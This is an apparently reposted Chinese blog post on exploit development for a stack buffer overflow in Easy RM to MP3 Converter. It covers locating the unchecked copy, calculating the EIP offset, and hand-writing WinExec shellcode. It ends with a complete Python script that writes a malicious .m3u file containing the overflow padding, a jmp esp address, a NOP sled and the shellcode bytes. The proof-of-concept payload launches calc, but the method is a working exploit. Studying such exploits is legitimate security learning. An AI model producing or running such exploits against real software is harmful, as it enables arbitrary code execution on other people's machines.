Easy RM to MP3 Converter栈溢出定位及漏洞利用
Posted snip3r
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Easy RM to MP3 Converter栈溢出定位及漏洞利用相关的知识,希望对你有一定的参考价值。
本文主要是Easy RM to MP3 Converter(MFC++编写)栈溢出的定位及windows下shellcode编写的一些心得。
用到的工具及漏洞程序下载地址https://github.com/5N1p3R0010/Easy-RM-to-MP3-Converter
首先,在填充字符为10000和20000时,异常被捕捉到
在填充字符为30000时,程序崩溃
查看程序使用MFC++编写,所以这里我们用静态分析的方法定位漏洞(用污点分析的方法应该很容易动态定位这个漏洞,但菜鸡我并不会)
首先把程序拖入IDBG,查找字符串引用。因为程序是在读取文件的时候崩溃的,所以找到click "Load"字符串,跟进即为load的处理函数
在IDA里查找这个字符串(4465F8)的交叉引用,可以看到第二个是他的处理函数
跟进函数发现sub_41E2B0在进行拷贝的时候没有检测长度
然后定位一下需要覆盖的栈内容长度
因为程序是在覆盖20000到30000之间崩溃的,所以用二分法构造一个payload=‘x41‘*25000+pattern5000,其中pattern5000用pattern.py生成便于计算偏移量。这样如果崩溃时的eip=41414141,则继续构造payload=‘x41‘*20000+pattern5000计算偏移;否则直接计算偏移即可。
在xp_en_sp2上得到的eip及偏移(这个值经我测试在不同系统上是不同的)
所以这里我们构造一个payload=‘x41‘*26076+addr_of_jmp_esp+nop+shellcode
关于shellcode,在exploit-db上找了几个shellcode都不能成功运行,所以最后决定自己编写
.386 .model flat,stdcall option casemap:none include C:masm32includewindows.inc include C:masm32includeuser32.inc includelib C:masm32libuser32.lib include C:masm32includekernel32.inc includelib C:masm32libkernel32.lib .code start: ;WinExec("calc",5) xor eax,eax push eax mov eax,6578652Eh push eax mov eax,636c6163h push eax mov eax,esp push 5 push eax mov eax,77E6E695h;kernel32.winexec(),需要调试确定 call eax end start
关于向栈内push内容,可以手动hexeditor把要压入的内容逆序,也可以用分享的一个perl脚本pushString.pl来确定
(这里忽略第一行的空字节压栈)
读取编译好的字节码也可以用分享的perl脚本readbin.pl确定
这里可以对照OD确定机器码的起始位置。
完整exp如下
f=open(‘pwn.m3u‘,‘w‘) exp=‘x41‘*26076 exp+=‘xedx1ex94x7c‘#addr_of_jmp_esp exp+=‘x90‘*4 exp+="x33xc0x50xb8x2ex65x78x65x50xb8x63x61x6cx63x50x8bxc4x6ax05x50xb8x4dx11x86x7cxffxd0x33xc0x50xb8x87x2axe3x77xffxd0x33xc0x50xb8x87x2axe3x77xffxd0x00" f.write(exp) f.close()
这里nop的数量需要根据调试确定,填充nop的原因跟函数的返回值有关。nop数量的确定可以用windbg附加程序,在jmp esp的地址下断点。
在断点处栈回溯(不添加nop时),发现shellcode并没有被完全执行
继续查看栈的内容发现addr_of_jmp_esp和jmp esp执行时有四字节的内容没有被执行,所以填充4字节的nop
填充4字节nop后,pwned
PS:在利用前需要注意的一点是需要把calc.exe添加系统环境变量或者把calc.exe添加到漏洞程序目录下,这跟winexec执行时加载的过程有关https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec
以上是关于Easy RM to MP3 Converter栈溢出定位及漏洞利用的主要内容,如果未能解决你的问题,请参考以下文章
ViWizard Music Converter for Mac如何将音乐转换为 MP3?
ViWizard Audio Converter for Mac如何将音频文件转换为 MP3?
如何使用NoteBurner Spotify Music Converter Mac将 Spotify 歌曲转换为 MP3 以供离线使用
Filmage Converter for Mac支持的视频转换格式有哪些?如何将视频转换为MP3格式?
Macsome iTunes Converter for Mac如何将 Apple Music 转换为 Mac 的 MP3/AAC/WAV/FLAC/AIFF?